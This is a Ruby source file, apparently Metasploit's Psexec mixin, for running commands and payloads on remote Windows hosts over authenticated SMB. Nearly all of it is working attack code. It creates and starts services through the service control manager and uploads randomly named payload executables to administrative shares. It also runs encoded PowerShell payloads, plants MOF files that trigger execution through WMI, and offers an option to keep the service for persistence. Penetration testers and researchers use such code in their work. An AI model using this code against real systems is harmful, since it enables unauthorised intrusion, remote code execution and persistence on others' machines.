# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/wbemexec'

include WindowsError::Win32

module Msf

####
# Allows for reuse of the psexec code execution technique
#
# This code was stolen straight out of the psexec module. Thanks very
# much for all who contributed to that module!! Instead of uploading
# and running a binary.
####

module Exploit::Remote::SMB::Client::Psexec

  include Msf::Exploit::Windows_Constants
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Failure

  def initialize(info = {})
    super
    register_options(
      [
        OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
        OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
        OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
      ], self.class)
  end

  # Retrieve the SERVICE_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] service_name the name of the service.
  def service_name
    @service_name ||= datastore['SERVICE_NAME']
    @service_name ||= Rex::Text.rand_text_alpha(8)
  end

  # Retrieve the SERVICE_DISPLAY_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] the display name of the service.
  def display_name
    @display_name ||= datastore['SERVICE_DISPLAY_NAME']
    @display_name ||= Rex::Text.rand_text_alpha(16)
  end

  # Retrieve the SERVICE_DESCRIPTION option
  #
  # @return [String] the service description.
  def service_description
    @service_description ||= datastore['SERVICE_DESCRIPTION']
  end

  # Retrives output from the executed command
  #
  # @param smbshare [String] The SMBshare to connect to.  Usually C$
  # @param host [String] Remote host to connect to, as an IP address or
  #   hostname
  # @param file [String] Path to the output file relative to the smbshare
  #   Example: '\WINDOWS\Temp\outputfile.txt'
  # @return [String,nil] output or nil on failure
  def smb_read_file(smbshare, host, file)
    begin
      simple.connect("\\\\#{host}\\#{smbshare}")
      file = simple.open(file, 'o')
      contents = file.read
      file.close
      simple.disconnect("\\\\#{host}\\#{smbshare}")
      return contents
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Unable to read file #{file}. #{e.class}: #{e}.")
      return nil
    end
  end

  # Executes a single windows command.
  #
  # If you want to retrieve the output of your command you'll have to
  # echo it to a .txt file and then use the {#smb_read_file} method to
  # retrieve it.  Make sure to remove the files manually or use
  # {Exploit::FileDropper#register_files_for_cleanup} to have the
  # {Exploit::FileDropper#cleanup} and
  # {Exploit::FileDropper#on_new_session} handlers do it for you.
  #
  # @param command [String] Should be a valid windows command
  # @param disconnect [Boolean] Disconnect afterwards
  # @return [Boolean] Whether everything went well
  def psexec(command, disconnect=true)
    simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
    handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
    vprint_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    vprint_status("Bound to #{handle} ...")
    vprint_status("Obtaining a service manager handle...")

    svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
    scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])

    if scm_status == ERROR_ACCESS_DENIED
      print_error("ERROR_ACCESS_DENIED opening the Service Manager")
    end

    return false unless scm_handle

    if datastore['SERVICE_PERSIST']
      opts = { :start => SERVICE_AUTO_START }
    else
      opts = {}
    end

    vprint_status("Creating the service...")
    svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)

    case svc_status
    when ERROR_SUCCESS
      vprint_good("Successfully created the service")
    when ERROR_SERVICE_EXISTS
      service_exists = true
      print_warning("Service already exists, opening a handle...")
      svc_handle = svc_client.openservicew(scm_handle, service_name)
    when ERROR_ACCESS_DENIED
      print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
      return false
    else
      print_error("Failed to create service, ERROR_CODE: #{svc_status}")
      return false
    end

    if svc_handle.nil?
      print_error("No service handle retrieved")
      return false
    end

    if service_description
      vprint_status("Changing service description...")
      svc_client.changeservicedescription(svc_handle, service_description)
    end

    vprint_status("Starting the service...")
    begin
      svc_status = svc_client.startservice(svc_handle)
      case svc_status
      when ERROR_SUCCESS
        print_good("Service started successfully...")
      when ERROR_FILE_NOT_FOUND
        print_error("Service failed to start - FILE_NOT_FOUND")
      when ERROR_ACCESS_DENIED
        print_error("Service failed to start - ACCESS_DENIED")
      when ERROR_SERVICE_REQUEST_TIMEOUT
        print_good("Service start timed out, OK if running a command or non-service executable...")
      else
        print_error("Service failed to start, ERROR_CODE: #{svc_status}")
      end
    ensure
      begin
        # If service already exists don't delete it!
        # Maybe we could have a force cleanup option..?
        if service_exists
          print_warning("Not removing service as it already existed...")
        elsif datastore['SERVICE_PERSIST']
          print_warning("Not removing service for persistence...")
        else
          vprint_status("Removing the service...")
          svc_status = svc_client.deleteservice(svc_handle)
          if svc_status == ERROR_SUCCESS
            vprint_good("Successfully removed the service")
          else
            print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
          end
        end
      ensure
        vprint_status("Closing service handle...")
        svc_client.closehandle(svc_handle)
      end
    end

    if disconnect
      simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
    end

    true
  end

  def powershell_installed?(smb_share, psh_path)
    share = "\\\\#{datastore['RHOST']}\\#{smb_share}"

    case smb_share.upcase
    when 'ADMIN$'
      path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    when 'C$'
      path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      path = psh_path
    end

    simple.connect(share)
    vprint_status("Checking for #{path}")
    if smb_file_exist?(path)
      vprint_status('PowerShell found')
      psh = true
    else
      vprint_status('PowerShell not found')
      psh = false
    end

    simple.disconnect(share)
    psh
  end

  def execute_command(text, bat, cmd)
    # Try and execute the provided command
    execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
    vprint_status("Executing the command...")
    begin
      return psexec(execute)
    rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
      print_error("Unable to execute specified command: #{e}")
      return false
    end
  end

  def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt)
    res = execute_command(text, bat, cmd)
       if res
         for i in 0..(rt)
           Rex.sleep(delay)
           # if the output file is still locked then the program is still likely running
           if (exclusive_access(text, smb_share, r_ip))
             break
           elsif (i == rt)
             print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
           end
         end
         output = get_output(text, smb_share, r_ip)
       end

    cleanup_after(bat, smb_share, r_ip)
    output
  end

  def execute_powershell_payload
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload(smb_share)
    filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
    serviceencoder = ''

    # Upload the shellcode to a file
    print_status("Uploading payload... #{filename}")
    smbshare = smb_share
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = smb_share.dup
      smbshare = smbshare.gsub(/^[\\\/]/,"")
      folder_list = smbshare.split(/[\\\/]/)
      smbshare = folder_list[0]
      fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
    else
      subfolder = false
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("#{filename}", 'rwct', write: true)
    end
    exe = ''
    opts = { :servicename => service_name, :serviceencoder => serviceencoder}
    begin
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close
    end

    if subfolder
      print_status("Created \\#{fileprefix}\\#{filename}...")
    else
      print_status("Created \\#{filename}...")
    end

    # Disconnect from the share
    simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

    # define the file location
    if smb_share == 'ADMIN$'
      file_location = "%SYSTEMROOT%\\#{filename}"
    elsif smb_share =~ /^[a-zA-Z]\$$/
      file_location = smb_share.slice(0,1) +  ":\\#{filename}"
    else
      file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
    end

    psexec(file_location, false)

    unless datastore['SERVICE_PERSIST']
      print_status("Deleting \\#{filename}...")
      #This is not really useful but will prevent double \\ on the wire :)
      if smb_share =~ /.[\\\/]/
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("#{fileprefix}\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
        end
      else
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{filename} failed: #{e.message}")
        end
      end
    end
  end

  def mof_upload(smb_share)
    share = "\\\\#{datastore['RHOST']}\\ADMIN$"
    filename = "#{Rex::Text.rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if smb_share != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

  private
  # Retrive output from command
  def get_output(file, smb_share, r_ip)
    print_status("Getting the command output...")
    output = smb_read_file(smb_share, r_ip, file)
    if output.nil?
      print_error("Error getting command output. #{$!.class}. #{$!}.")
      return
    end
    if output.empty?
      print_status("Command finished with no output")
      return
    end
    output
  end

  # check if our process is done using these files
  def exclusive_access(*files, smb_share, r_ip)
    begin
      simple.connect("\\\\#{r_ip}\\#{smb_share}")
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
      print_status("Unable to get handle: #{accesserror}")
      return false
    end
    files.each do |file|
      begin
        print_status("checking if the file is unlocked")
        fd = smb_open(file, 'rwo')
        fd.close
      rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
        print_status("Unable to get handle: #{accesserror}")
        return false
      end
      simple.disconnect("\\\\#{r_ip}\\#{smb_share}")
    end
    return true
  end

  def cleanup_after(*files, smb_share, r_ip)
    begin
      simple.connect("\\\\#{r_ip}\\#{smb_share}")
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
      print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", "
)} from the target.")
      return
    end
    print_status("Executing cleanup...")
    files.each do |file|
      begin
        smb_file_rm(file)
      rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
        print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
      end
    end
    left = files.collect{ |f| smb_file_exist?(f) }
    if left.any?
      print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
    else
      print_good("Cleanup was successful")
    end
  end
end
end
